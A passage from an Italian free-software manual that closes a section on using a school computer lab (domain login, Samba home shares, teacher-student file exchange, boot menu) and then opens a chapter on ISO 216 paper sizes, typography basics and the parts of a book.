Presso gli elaboratori MS-Windows configurati per la gestione dei «domini», è possibile accedere con il proprio nominativo utente e con la relativa parola d'ordine, definiti a livello di istituto (e appartenenti al dominio «INF»). Presso tali elaboratori potrebbero però essere previste anche delle utenze locali, da usare in caso di emergenza o per fini particolari. Per cominciare, per accedere viene proposta la richiesta di premere la combinazione di tasti [*Ctrl Alt Canc*], quindi si ottiene la maschera per l'inserimento di nominativo-utente, parola d'ordine e contesto: se si vedono solo i primi due campi, occorre selezionare il bottone grafico OPZIONI.

Figura 56.61. Modalità di autenticazione: a sinistra si utilizza un'utenza locale, la quale potrebbe anche essere prima di parola d'ordine; a destra si utilizza l'utenza gestita dal dominio «INF».

Gli utenti che utilizzano l'accesso personalizzato, specificando il proprio nominativo associato al dominio «INF», trovano i propri dati personali nella risorsa di rete '`Z:\`'.

Al termine del lavoro, la sessione va chiusa, in modo che un altro utente possa autenticarsi. Se la sessione non viene chiusa e se il sistema viene lasciato in funzione, si abbandonano i propri dati personali in mano all'utilizzatore successivo.

56.6.3 Accesso manuale ai dati personali da una postazione MS-Windows anonima

Per accedere alle directory personali (o cartelle personali), attraverso un sistema MS-Windows che viene utilizzato in modo anonimo o comunque solo in modo locale, gli utenti devono seguire una procedura che varia in funzione della versione di tale sistema operativo. Quello che si vede negli schemi successivi è una semplificazione che dovrebbe consentire di comprendere il procedimento, adattandolo poi alla realtà del proprio sistema effettivo.

Figura 56.62. Aggiunta di una risorsa di rete.

risorse di rete

aggiungere una risorsa di rete
...
...
...

pc01 pc02

Figura 56.63. Indicazione del percorso della risorsa. L'elaboratore in cui è in funzione NLNX con il servizio Samba per la condivisione delle directory personali è raggiungibile all'indirizzo IPv4 172.17.1.254, oppure 192.168.0.71. Inoltre, l'utente ipotetico che deve collegarsi è «rossimario».

\\192.168.0.71\rossimario

prosegui

login: rossimario

password: ●●●●●●●●

Figura 56.64. La risorsa risulta disponibile ed è possibile accedervi come se fosse un'unità a disco. Una volta collegata la risorsa, si suppone di voler salvare al suo interno un file con il nome '`miofile`'.

aggiungere una risorsa di rete
...
...
...

pc01 pc02 rossimario

salva con nome: \\192.168.0.71\rossimario\miofile

È molto probabile che il sistema MS-Windows chieda di memorizzare la parola d'ordine inserita: è evidente che ciò non va fatto, altrimenti un estraneo potrebbe accedere conoscendo sem-

plicemente il nominativo-utente. Inoltre, al termine dell'utilizzo della risorsa, è necessario procedere al suo distacco, come si farebbe con un'unità rimovibile, altrimenti i dati rimarrebbero accessibili.

56.6.4 Scambio di dati tra insegnanti e studenti

Le utenze create nel modo descritto dovrebbero prevedere già due sottocartelle, denominate rispettivamente '`verifiche\`' e '`strumenti\`'. Gli studenti mettono i file delle verifiche all'interno di cartelle del tipo '`verifiche\`***insegnante***`\`', mentre gli insegnanti mettono a disposizione dei file ai loro studenti mettendoli all'interno di cartelle del tipo '`strumenti\`***classe***`\`'.

Per esempio, si prenda lo studente Mario Rossi, della classe 5Ci, la cui cartella personale corrisponde alla directory '`/home/5CI1011/rossimario/`' presso l'elaboratore 192.168.0.71 (ovvero 172.17.1.254), e l'insegnante Sempronio Dicembrino, la cui directory personale corrisponde a '`/home/DOCENTI0/dicembrinosempr/`' presso lo stesso elaboratore. Lo studente Rossi prepara una verifiche per l'insegnante Dicembrino, costituita dal file '`esercizio`' che colloca nella propria cartella personale sotto '`verifiche\dicembrinosempr\`'; per converso, l'insegnante Dicembrino trova nella propria cartella personale, sotto '`verifiche\home\5CI1011\rossimario\`' il file '`esercizio`'.

Nello stesso modo, l'insegnante Dicembrino predispone un file, denominato '`modello`' e lo mette nella propria cartella sotto '`strumenti\5CI1011\`', perché gli studenti della classe 5Ci (dell'anno scolastico 2010/2011) possano utilizzarlo. Per converso, lo studente Rossi trova nella propria cartella, sotto '`strumenti\dicembrinosempr\`' il file '`modello`' predisposto dall'insegnante.

56.6.5 Avvio di un sistema GNU/Linux

In molti casi, gli elaboratori utilizzati normalmente con il sistema MS-Windows, possono essere avviati in modo da funzionare invece con un sistema GNU/Linux. Per ottenere questo, all'avvio è disponibile un menù, dove, in mancanza di una selezione o premendo semplicemente [*Invio*], si ottiene l'avvio di MS-Windows, mentre per ottenere un sistema GNU/Linux occorre indicare espressamente la voce relativa alla configurazione del proprio laboratorio:

```
inf1          Sistema GNU/Linux per il laboratorio Informatica 1
inf2          Sistema GNU/Linux per il laboratorio Informatica 2
inf3          Sistema GNU/Linux per il laboratorio Informatica 3
inf4          Sistema GNU/Linux per il laboratorio Informatica 4
ins           Sistema GNU/Linux per la sala insegnanti
mem           Programma di controllo della memoria
```

Una volta avviato il sistema GNU/Linux, per arrestarlo, alla fine della sessione di lavoro è disponibile un pulsante grafico denominato SHUTDOWN, selezionando il quale si ottiene, per due secondi, la facoltà di scegliere se spegnere o riavviare l'elaboratore.

56.6.6 Registri elettronici

Il registro degli accessi degli studenti e di tutti gli altri utenti è disponibile, per controlli, presso gli indirizzi seguenti: il primo riguarda le autenticazioni provenienti da elaboratori con sistema MS-Windows, il secondo riguarda quelle relative a elaboratori con sistema GNU/Linux.

⟨*http://192.168.0.71/cgi-bin/var_log?samba/log.nanohost* ⟩.

⟨*http://192.168.0.71/cgi-bin/var_log?syslog* ⟩.

[1] Va ricordato che la struttura del file system del sistema avviato da un disco ottico *live* è la stessa per qualunque altro contesto in cui il file system va usato in sola lettura.

[2] Citazione da ⟨*http://www.debian.org/social_contract* ⟩

Indice analitico del volume

.LANG 2948 .LANG_FOR_X 2948 .profile 2948 .wallpaper 2902 ACPI 2961 Bash 2961 CGI 2976 clamav-home 2963 DHCP 2968 3029 DNS 2968 fstab 2907 GPM 2952 gpm.conf 2952 HTTP 2969 2975 LANG 2948 MRTG 2977 NFS 3014 3022 NIS 3014 3022 nlnx.config 2962 nlnx.hardware 2962 nlnx.last 2962 nlnx.mixed 2962 nlnx.network 2962 2968 nlnx.ro-fs 2962 nlnxrc 2911 nlnxrd.img 2938 NTP 2970 onlnxrd.img 2938 OOPS 2969 passwd 2998 PHP 2976 print-filter 3018 proxy HTTP 2969 PXE 2969 2972 rc.local 2962 RDATE 2970 Samba 3025 3025 SANE 2972 smb.conf 3025 sysklogd 2963 TFTP 2969 VNC 2997 Webalizer 2976 X 2886 xorg.conf 2952 $LANG 2948 $LANG_FOR_X 2893 2948

«a2» 2010.10.10

Volume IV

Scrittura e pubblicazione

```
$ nsgmls -s file.html
```

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

Capitolo 57

Editoria e stile

57.1 Formati standard della carta 3105
57.1.1 Utilizzo pratico dei vari formati ISO 216 3107
57.1.2 Formati multipli 3108
57.2 Nozioni elementari di tipografia 3108
57.2.1 Carattere 3108
57.2.2 Tipometria 3111
57.2.3 Il carattere nel software di composizione 3113
57.2.4 Problemi legati ai caratteri 3114
57.2.5 Il libro 3115
57.3 Stile letterario 3116
57.3.1 Regole di composizione del testo 3117
57.3.2 Anglofilia eccessiva 3124
57.3.3 Unità di misura 3125
57.3.4 Rappresentazione di valori 3128
57.3.5 Stile tipografico 3129
57.4 Evoluzione dell'editoria elettronica 3135
57.4.1 Evoluzione 3136
57.4.2 Codifica del testo (markup) 3136
57.4.3 SGML 3137
57.4.4 XML, XSLT e XSL-FO 3138
57.5 Riferimenti 3138

57.1 Formati standard della carta

Lo standard ISO 216, così come gli standard UNI 936 e DIN 476, definisce i formati di carta più comuni, secondo una logica molto semplice: i lati del foglio di carta hanno un rapporto fisso, dove il lato lungo è pari alla radice quadrata di due (circa 1,4142) per la lunghezza del lato corto (figura 57.1).

Figura 57.1. Il rapporto tra i lati di un foglio ISO 216.

$b = \sqrt{2} * a$

Questo rapporto ha una proprietà importante, che consente al foglio di carta di essere dimezzato sul lato lungo, oppure di essere raddoppiato sul lato corto, mantenendo lo stesso rapporto tra i lati.

Lo standard ISO 216 definisce tre diverse serie di questi formati, ognuna delle quali parte da una dimensione di partenza, generando le altre dimensioni suddividendo quella precedente a metà, sul lato lungo. La serie A, ha come punto di riferimento il formato A0, corrispondente a un foglio con un'area di un metro quadro, tuttavia non si tratta del formato più grande, che è ottenuto raddoppiando due volte il formato A0, ottenendo così quattro metri quadri.

La tabella 57.2 elenca le dimensioni di tutti i formati delle tre serie, denominate A, B e C. Come si può osservare, i valori sono approssimati al millimetro, in aderenza al SI (sezione 57.3.3).

Tabella 57.2. ISO 216: formato A, B e C.

A	mm	B	mm	C	mm
4A0	1682 × 2378	--	--	--	--
2A0	1189 × 1682	--	--	--	--
A0	841 × 1189	B0	1000 × 1414	C0	917 x 1297
A1	594 × 841	B1	707 × 1000	C1	648 x 917
A2	420 × 594	B2	500 × 707	C2	458 x 648
A3	297 × 420	B3	353 × 500	C3	324 x 458
A4	210 × 297	B4	250 × 353	C4	229 x 324
A5	148 × 210	B5	176 × 250	C5	162 x 229
A6	105 × 148	B6	125 × 176	C6	114 x 162
A7	74 × 105	B7	88 × 125	C7	81 x 114
A8	52 × 74	B8	62 × 88	C8	57 x 81
A9	37 × 52	B9	44 × 62	C9	40 x 57
A10	26 × 37	B10	31 × 44	C10	28 x 40

57.1.1 Utilizzo pratico dei vari formati ISO 216

Tabella 57.3. Esempi di utilizzo pratico dei vari formati.

Formati	Utilizzo
A0, A1	Disegno tecnico; poster.
A2, A3	Disegno; diagrammi; tabelle di grandi dimensioni.
A4	Lettere; riviste; cataloghi; carta per stampanti comuni e per fotocopiatrici.
A5	Blocchi per appunti.
C4	Buste per il formato A4.
C5	Buste per il formato A4 piegato a metà.
C6	Buste per il formato A4 piegato due volte.
B4, A3	Giornali.

La percentuale di ingrandimento o di riduzione di un formato per ottenerne un altro, si determina facilmente, tenendo conto che si sta facendo riferimento all'ampiezza e all'altezza del foglio, non alla sua area. In pratica, riducendo un formato A4 al 50 %, si ottiene un formato A6, mentre per arrivare al formato A5 occorre usare una riduzione al 71 %. In altri termini, 71 %, ovvero 0,71, approssima la radice quadrata di 0,5. La tabella 57.4 riepiloga alcune trasformazioni tipiche, da un formato a un altro dello standard ISO 216.

Tabella 57.4. Esempi di ingrandimento e riduzione dei formati più comuni.

Trasformazione richiesta	rapporto	percentuale (approssimata)
da An a An+1	$\sqrt{0,5}$	71 %
da Bn a An	$\sqrt{\sqrt{0,5}}$	84 %
da An a Bn	$\sqrt{\sqrt{2}}$	119 %
da Bn a An−1	$\sqrt{\sqrt{2}}$	119 %
da An a An−1	$\sqrt{2}$	141 %

La massa di un foglio di serie A, può essere determinata facilmente, sapendo che A0 ha una superficie di un metro quadro. In pratica, basta conoscere la densità superficiale della carta (la cosiddetta grammatura) che si esprime normalmente in grammi per metro quadro, dividendone opportunamente il valore: l'An ha una massa pari a 2^{-n} volte quella dell'A0. Per esempio, la massa di un foglio A4 è 2^{-4} volte quella di un A0; ovvero 1/16; se la grammatura è 80 g/m^2, la massa di un foglio A4 è 5 g.

Le dimensioni dei fogli delle tre serie ISO 216 possono essere determinate anche attraverso delle formule matematiche, come mostrato nella tabella 57.5. Si osservi che le misure che si ottengono sono espresse in metri.

Tabella 57.5. Formule per calcolare le dimensioni della carta secondo lo standard ISO 216.

Formato	Ampiezza in metri	Altezza in metri
A***n***	$2^{(-1/4-\boldsymbol{n}/2)}$	$2^{(1/4-\boldsymbol{n}/2)}$
B***n***	$2^{(-\boldsymbol{n}/2)}$	$2^{(1/2-\boldsymbol{n}/2)}$
C***n***	$2^{(-1/8-\boldsymbol{n}/2)}$	$2^{(3/8-\boldsymbol{n}/2)}$

57.1.2 Formati multipli

Quando non si può utilizzare un formato in cui il rapporto tra la lunghezza dei lati sia quello delle serie A, B o C comuni, si possono usare dei multipli di uno di questi formati. Come si vede nella figura 57.6, si tratta di affiancare più fogli di un certo formato, estendendo il lato corto. Questi formati estesi si indicano come A***n***x***m***, dove ***m*** rappresenta quanti fogli di tipo A***n*** affiancare. Per esempio, il formato A3 è equivalente al formato A4x2.

Figura 57.6. Formati multipli A***n***x***m***.

An An An An

m volte

57.2 Nozioni elementari di tipografia

Prima di studiare un programma di editoria elettronica conviene conoscere almeno qualche nozione di tipografia. Studiando la natura del problema si può comprendere la ragione di alcuni comportamenti dei programmi più raffinati che rispecchiano, nella loro impostazione, la filosofia della tipografia tradizionale.

57.2.1 Carattere

Il ***carattere*** è qualunque segno grafico utilizzato in tipografia per rappresentare le lettere, i segni di interpunzione, le cifre e altri grafemi. La conoscenza delle caratteristiche fondamentali del carattere da stampa è utile per poter comprendere il funzionamento e la logica dei programmi di composizione tipografica. Sul carattere si possono distinguere diversi aspetti, in particolare: la specie alfabetica; lo stile, o il gruppo stilistico; la serie alfabetica, o la variante di serie; la scala dimensionale.

57.2.1.1 Specie alfabetica

La ***specie*** è una collezione di segni di un tipo di scrittura. Per quanto riguarda l'europa occidentale, la specie alfabetica comune è quella dell'alfabeto latino. All'interno di una specie alfabetica si possono distinguere diverse collezioni alfabetiche, per esempio come nella distinzione tra lettere maiuscole e minuscole che avviene nell'alfabeto latino.

Figura 57.7. Specie e collezione.

specie alfabetica greca, collezione minuscola

specie alfabetica greca, collezione maiuscola

αβγδεζηθικλμνξοπρστυφχψω

ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤϒΦΧΨΩ

abcdefghijklmnopqrstuvwxyz

ABCDEFGHIJKLMNOPQRSTUVWXYZ

specie alfabetica latina, collezione minuscola

specie alfabetica latina, collezione maiuscola

Dalla differenza tra gli alfabeti nasce a volte la necessità di rendere un testo attraverso un alfabeto alternativo. La ***traslitterazione*** è il procedimento di traslazione da un sistema alfabetico a un altro, in modo da ricomporre un testo facendo uso di un sistema alfabetico diverso da quello originale. La traslitterazione punta a riprodurre un testo in modo che sia possibile in qualsiasi momento il procedimento inverso per riottenere il testo originale. Il caso più comune in cui si ha la necessità di utilizzare la traslitterazione è quello della citazione in cui l'originale utilizza un alfabeto esotico per il quale non si dispone del carattere tipografico. Come si può immaginare, la traslitterazione è regolata da norme internazionali.

57.2.1.2 Gruppo stilistico

Una volta definita la specie di un carattere si possono distinguere delle varianti che riguardano lo ***stile***, ovvero il disegno e il suo gusto estetico. Sull'alfabeto latino sono stati realizzati una quantità così grande di stili diversi che è difficile persino riuscire a classificarli. In generale vi si fa riferimento attraverso il nome. Gli stili tradizionali comuni nella composizione elettronica sono: Times, Helvetica e Courier.

Figura 57.8. Stile.

carattere con grazie:

αβγδεζηθικλμνξοπρστυφχψω
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩ
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ

carattere senza grazie:

αβγδεζηθικλμνξοπρστυφχψω
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩ
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ

carattere con grazie a spaziatura orizzontale uniforme:

αβγδεζηθικλμνξοπρστυφχψω
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩ
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ

I tre nomi citati rappresentano oggi, simbolicamente, le caratteristiche fondamentali di uno stile: la presenza o l'assenza di grazie e la proporzionalità o meno della larghezza dei segni.[1]

Le grazie sono dei piedini terminali che hanno lo scopo di abbellire il carattere e di guidare la vista durante la lettura. Il Times è il tipico stile con grazie, mentre Helvetica è il suo opposto.

I segni dei caratteri da stampa sono generalmente di larghezza diversa; solo le prime forme di scrittura meccanica, come la macchina da scrivere e le prime stampanti, hanno creato la necessità di utilizzare dei simboli a larghezza uniforme. Il Courier è il rappresentante di questo tipo di stile a larghezza fissa.

In generale, uno stile riguarda esclusivamente una specie alfabetica, ma quando uno stile assume importanza e notorietà, può succedere che venga adottato anche da altre specie. Per questo si può distinguere tra Times Roman (Times New Roman), Times Greco, Times Cirillico e altri. Il primo tra quelli citati è ovviamente il Times dell'alfabeto latino.

57.2.1.3 Serie

La ***serie alfabetica***, o la variante di serie, rappresenta una distinzione all'interno di uno stile, in base alla ***forma***. Le forme comuni di uno stesso stile riguardano la pendenza, il tono e la larghezza.

- La pendenza si riferisce all'inclinazione delle aste e si distingue generalmente tra ***tondo***, rappresentato da un carattere con aste verticali, e ***corsivo***, in cui le aste sono inclinate in avanti. Generalmente, l'aspetto dei caratteri di un corsivo, pur restando all'interno della stesso stile, è abbastanza diverso da quello del tondo. Quando si utilizza un sistema di

composizione elettronico può capitare di avere a disposizione uno stile nel quale manchi il corsivo, ottenendolo però in qualche modo distorcendo il tondo. In questo caso si parla preferibilmente di carattere «inclinato» in modo volutamente generico.

- Il tono, o lo spessore, rappresenta l'intensità del carattere che si percepisce visivamente. Essendo un concetto che deriva dalla stampa con inchiostro nero, si distingue generalmente tra ***chiarissimo***, ***chiaro***, ***nero*** (***neretto***) e ***nerissimo***.
- La larghezza è una caratteristica di cui dispongono solo alcuni stili, ovvero li può riguardare direttamente, nel senso che uno stile per sua natura può essere «stretto» o «largo». In base alla larghezza si distinguono solitamente: lo ***strettissimo***, lo ***stretto***, il normale, il ***largo*** e il ***larghissimo***.

È bene chiarire che ogni stile può disporre o meno di varianti seriali adatte. Alcuni stili, spesso riferiti a specie alfabetiche simboliche, dispongono di una serie unica.[2]

Figura 57.9. Serie.

pendenza: { tondo *inclinato*
tondo *corsivo*
spessore: chiaro **nero**
larghezza: stretto normale

57.2.2 Tipometria

La tipometria è la misurazione degli elementi che riguardano la composizione e l'impaginazione. Le voci più importanti sono costituite dai corpi (l'altezza dei caratteri), dalla spaziatura, dall'interlinea, dalla giustezza e dalla giustificazione. In breve, il corpo è l'altezza del carattere, la spaziatura è la distanza tra una parola e l'altra in una riga, l'interlinea è lo spazio verticale aggiuntivo tra le righe, la giustezza è lo spazio orizzontale che le righe di testo hanno a disposizione, la giustificazione è il procedimento di regolazione della spaziatura e dell'interlinea in modo da ottenere un allineamento delle righe con i margini (sia in orizzontale, sia in verticale).

57.2.2.1 Corpo, dimensioni e scala

La dimensione del carattere si misura in senso verticale e si definisce ***corpo***. Per misurare il corpo e le altre dimensioni che riguardano i caratteri si possono utilizzare diverse unità di misura, ma quando si tratta di sistemi di composizione elettronica a mezzo di software, è molto probabile che si disponga solo del pica e del punto anglo-americano:

- 1 pica = 1/6 di pollice;
- 1 punto = 1/12 di pica = 1/72 di pollice.

Per comprendere cosa sia il corpo di un carattere è bene descrivere le varie componenti dell'altezza di questo. La figura 57.10 mostra schematicamente la parola «Agglomerato» suddivisa secondo le componenti verticali della dimensione del carattere.

Figura 57.10. Le dimensioni del carattere.

spalla superiore
parte ascendente
Agglomerato
parte mediana
corpo
parte discendente
spalla inferiore

Il carattere si appoggia su una linea che rappresenta la base della «parte mediana»; le lettere come la «l» si alzano occupando anche la «parte ascendente»; altre, come la «g», si allungano in basso a occupare la «parte discendente». Il corpo del carattere include anche uno spazio aggiuntivo: la «spalla». Si distingue una spalla superiore, costituita da uno spazio minimo sopra la parte ascendente, e la spalla inferiore che si trova al di sotto della parte discendente (nella figura la spalla è molto grande, in proporzione, rispetto alla realtà).

La distanza tra la base di una riga (la base della parte mediana) e la base di quella successiva dovrebbe essere superiore o al minimo uguale alla grandezza del corpo. Quando questa distanza è superiore, lo spazio aggiuntivo è l'***interlinea***. Con i sistemi di composizione elettronica per mezzo di software, si misura generalmente lo spazio tra le basi delle righe ed è ammissibile anche l'utilizzo di distanze inferiori all'altezza del carattere, ottenendo in pratica una sovrapposizione della parte mediana inferiore di una riga con la parte mediana superiore di quella successiva.

La rappresentazione di un carattere con un corpo di una data dimensione dipende dalla disponibilità di questo. Con i sistemi tipografici meccanici è necessario disporre di una serie di caratteri mobili differenti, distinti in base a una scala. Con i sistemi di composizione elettronica via software si possono trovare dei caratteri riproducibili in qualsiasi corpo, eventualmente generando dei file opportuni per la scala richiesta. Tuttavia, in presenza di dimensioni particolarmente piccole si rischia di perdere dei dettagli importanti dei segni che compongono lo stile utilizzato e, di conseguenza, potrebbe essere preferibile l'utilizzo di una variante dello stile che sia più adatta alle dimensioni ridotte.

57.2.2.2 Giustezza, spaziatura e giustificazione orizzontale

La giustezza è lo spazio orizzontale a disposizione delle righe di testo; in altri termini, è la larghezza della colonna all'interno della quale si può distribuire il testo. La spaziatura è lo spazio tra la fine di una parola e l'inizio di quella successiva.

Nei testi in italiano, la spaziatura è uniforme, senza eccezioni, a differenza della tradizione tipografica di altri paesi. Per esempio, la spaziatura dopo un punto fermo è esattamente uguale a quella di qualunque altra situazione. Quando si utilizza il sistema di composizione TeX per scrivere un testo in italiano, si dovrebbe inserire il comando '`\frenchspacing`' per evitare anomalie nella spaziatura.

Quando si vuole ottenere un allineamento del testo all'inizio e alla fine della giustezza, si parla di giustificazione (orizzontale). Per ottenerla, è necessario che la spaziatura sia adattata in modo da arrivare a questo risultato. La giustificazione orizzontale è solo una delle scelte stilistiche che il tipografo ha a disposizione: non si tratta di una convenzione obbligatoria.

57.2.2.3 Giustificazione verticale

Come nel caso della giustificazione orizzontale, ci può essere la necessità o l'opportunità di adattare l'interlinea in modo da riempire completamente le pagine. Ciò si ottiene attraverso la giustificazione verticale.

57.2.3 Il carattere nel software di composizione

Utilizzando i programmi di composizione tipografica si è costretti generalmente a fare i conti con la terminologia dei paesi di lingua inglese e con altri problemi legati alla rappresentazione simbolica dei segni all'interno del software. La tradizione tipografica di questi ha generato dei termini che non sono perfettamente traducibili con concetti della tradizione italiana, per cui si utilizzano alcuni termini di origine anglofona, eventualmente tradotti in modo letterale.

57.2.3.1 Terminologia

In inglese si utilizza normalmente il termine *font* per fare riferimento al carattere tipografico. Spesso non si traduce questo termine in qualcosa che riguardi la tradizione tipografica italiana, mantenendo piuttosto il termine inglese invariato; tuttavia, alle volte viene utilizzata la forma: ***fonte***.

Se il contesto non richiede un'aderenza perfetta con il termine originale inglese, si possono usare forme espressive più comprensibili, come «carattere», «tipo di carattere», «carattere tipografico» o «carattere da stampa».

57.2.3.2 Caratteristiche di una carattere tipografico elettronico

Il carattere tipografico usato nel software applicativo di composizione, ha una serie di caratteristiche, alcune delle quali sono fondamentali.

- ***foundry***, ***fonderia***

  La fonderia è il produttore del carattere tipografico, cioè chi ha creato la tipizzazione,[3] pur senza esserne il disegnatore. Per fare un esempio comune, Adobe è la fonderia dello stile Times New Roman.

- ***family***, ***famiglia***

  La famiglia del carattere, inteso come traduzione del termine *font family*, corrisponde simultaneamente alla specie e allo stile del carattere. In altri termini, rappresenta sia la specie alfabetica, sia lo stile. Per fare un esempio, la famiglia Times New Roman è un carattere di specie latina e di stile Times.

- All'interno di una famiglia si distinguono normalmente le serie riferite alla forma: spessore (*weight*), inclinazione (*slant*) e larghezza (*set*, o *width*).

- ***codifica***

  La codifica rappresenta l'elemento nuovo più importante nelle caratteristiche di un carattere tipografico per l'elaborazione via software. Il problema viene descritto nella prossima sezione.

57.2.3.3 Codifica

L'utilizzo dei caratteri con i sistemi di composizione basati sul software richiede un abbinamento tra segni e simboli binari. Questo abbinamento è definito dalla codifica. Il problema si può intendere meglio se si pensa a un programma a composizione differita.

In questi casi si parte da un file sorgente, scritto probabilmente secondo la codifica UTF-8, con il quale il programma deve comporre il risultato, utilizzando i caratteri a disposizione.

Il carattere tipografico utilizzato dal programma di composizione è contenuto normalmente all'interno di file, da cui questo programma estrae le informazioni necessarie attraverso un riferimento dato da un codice numerico. In condizioni normali, il programma di composizione fa riferimento al simbolo binario utilizzato nel sorgente per ottenere il segno corrispondente all'interno del carattere tipografico utilizzato (eventualmente attraverso una qualche traslazione). In pratica, alla lettera «A» nel sorgente dovrebbe corrispondere la lettera «A» del carattere tipografico che si sta utilizzando, ma se il carattere tipografico è organizzata in modo differente, si potrebbe ottenere qualcosa di diverso. Questo problema si avverte di solito quando si utilizza una famiglia di caratteri che fa riferimento a una specie simbolica, o comunque a un alfabeto che non ha alcuna corrispondenza con la codifica utilizzata nel sorgente. In questi casi, di solito, per rappresentare i segni si può fare uso di comandi speciali interpretati opportunamente dal programma di composizione.

Un programma di composizione potrebbe disporre di caratteri tipografici che hanno solo una corrispondenza parziale con la codifica utilizzata per scrivere il sorgente, per esempio, potrebbero mancare alcuni segni che vengono messi a disposizione attraverso altre specie.

Il problema viene riproposto nel capitolo 58.

57.2.4 Problemi legati ai caratteri

Nelle origini della tipografia, molti caratteri mobili rappresentavano l'unione di più lettere o altri segni in logotipo (cioè l'unione in un simbolo unico). L'unione di questi derivava da delle consuetudini stilistiche o dalla forma dei segni adiacenti che per qualche motivo potevano richiedere un avvicinamento o un adattamento.

Il ***legato*** (in inglese *ligature*) è l'unione di due o più segni per motivi storici o estetici; i più comuni sono le sequenze «fi», «fl» e «ffi», dove le lettere vengono avvicinate in modo particolare fino a unirsi o a inglobarsi. Alcune forme di legato si sono tradotte in segni indipendenti, come nel caso di «AE» che si è trasformato in «Æ», «sz» che nella lingua tedesca è ormai «ß», «et» (latino) che è divenuto «&», ovvero l'attuale e-commerciale, e anche «ad» (latino), che nella lingua inglese è diventato «@» (*at*).

L'avvicinamento delle lettere, è motivato dalla forma di queste, per evitare il formarsi di vuoti visivi che potrebbero creare difficoltà alla lettura. I casi più comuni sono le sequenze «AV», «AT», «AY».

57.2.5 Il libro

Alcune componenti del libro, nella sua forma cartacea, hanno dei nomi particolari, che spesso si ignorano. Le figure successive descrivono sommariamente tali componenti, utilizzando come esempio il libro *Il linguaggio C* di Brian W. Kernigham e Dennis M. Ritchie, edizione Pearson, 2004.

Figura 57.11. Ciò che appare esternamente a un libro è: la ***prima di copertina*** (immagine a sinistra), o semplicemente «copertina», costituente la prima pagina assoluta; la ***quarta di copertina*** (immagine a destra) è l'ultima pagina assoluta; il ***dorso***, o ***costola*** (immagine in basso), è ciò che si trova in corrispondenza della rilegatura dei fogli, con le informazioni essenziali del libro, utili per identificarlo quando viene riposto in uno scaffale.

Figura 57.12. Immagine a sinistra: il ***frontespizio*** è una delle prime pagine del libro, la quale riprende le informazioni della copertina. Immagine a destra: la pagina che contiene le informazioni sulla pubblicazione (i diritti dell'opera, le sue varie edizioni, ecc.) è il ***colofone*** o *colophon* (la dizione *colophon* viene dal latino, ma il termine originario è *kolophon* e viene dal greco). Può trovarsi alla fine dell'opera oppure tra le primissime pagine.

Brian W. Kernighan
Dennis M. Ritchie

Il linguaggio C

Principi di programmazione e manuale di riferimento

Seconda edizione

PEARSON
Prentice Hall

Copyright © 2004 Pearson Education Italia S.r.l.
Via Fara, 28
20124 Milano
Tel. 02/6739761 Fax 02/673976503
E-mail: hpeitalia@pearson.com
Web: http://hpe.pearsoned.it

Authorized translation from the English language edition, entitled THE C PROGRAMMING LANGUAGE, 2nd Edition by KERNIGHAN, BRIAN W.; RITCHIE, DENNIS M., published by Pearson Education, Inc, publishing as Prentice Hall PTR, Copyright © 1988

All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from Pearson Education, Inc.

Italian language edition published by Pearson Education Italia Srl, Copyright © 2004

Le informazioni contenute in questo libro sono state verificate e documentate con la massima cura possibile. Nessuna responsabilità derivante dal loro utilizzo potrà venire imputata all'Autore, a Pearson Education Italia o a ogni persona e società coinvolta nella creazione, produzione e distribuzione di questo libro.

I diritti di riproduzione e di memorizzazione elettronica totale e parziale con qualsiasi mezzo, compresi i microfilm e le copie fotostatiche, sono riservati per tutti i paesi.
LA FOTOCOPIATURA DEI LIBRI È UN REATO. L'editore potrà concedere a pagamento l'autorizzazione a riprodurre una porzione non superiore a un decimo del presente volume. Le richieste di riproduzione vanno inoltrate ad AIDRO (Associazione Italiana per i Diritti di Riproduzione delle Opere dell'Ingegno), Via delle Erbe, 2 - 20121 Milano - Tel. e Fax 02/809506.

Traduzione: Valerio Marra
Revisione tecnica: Vincenzo Marra
Realizzazione editoriale: shortout
Grafica di copertina: Gianni Gilardoni
Stampa: Arti Grafiche Battaia - Zibido S. Giacomo (MI)

Tutti i marchi citati nel testo sono di proprietà dei loro detentori.

ISBN 88-7192-200-X

Printed in Italy

1ª edizione: febbraio 2004

Oltre agli esempi che appaiono nelle figure, vanno considerati anche la ***seconda di copertina***, che è la parte interna della prima di copertina, così come la ***terza di copertina***, che è la parte interna della quarta di copertina. Nei libri comuni, la seconda e la terza di copertina sono bianche, o comunque prive di contenuti, mentre nelle riviste diventano posizioni significative per la collocazione della pubblicità.

Lo specchietto successivo consente di abbinare alcuni dei termini descritti alla forma inglese corrispondente:

prima di copertina	*front cover page*
seconda di copertina	*inside front cover page*
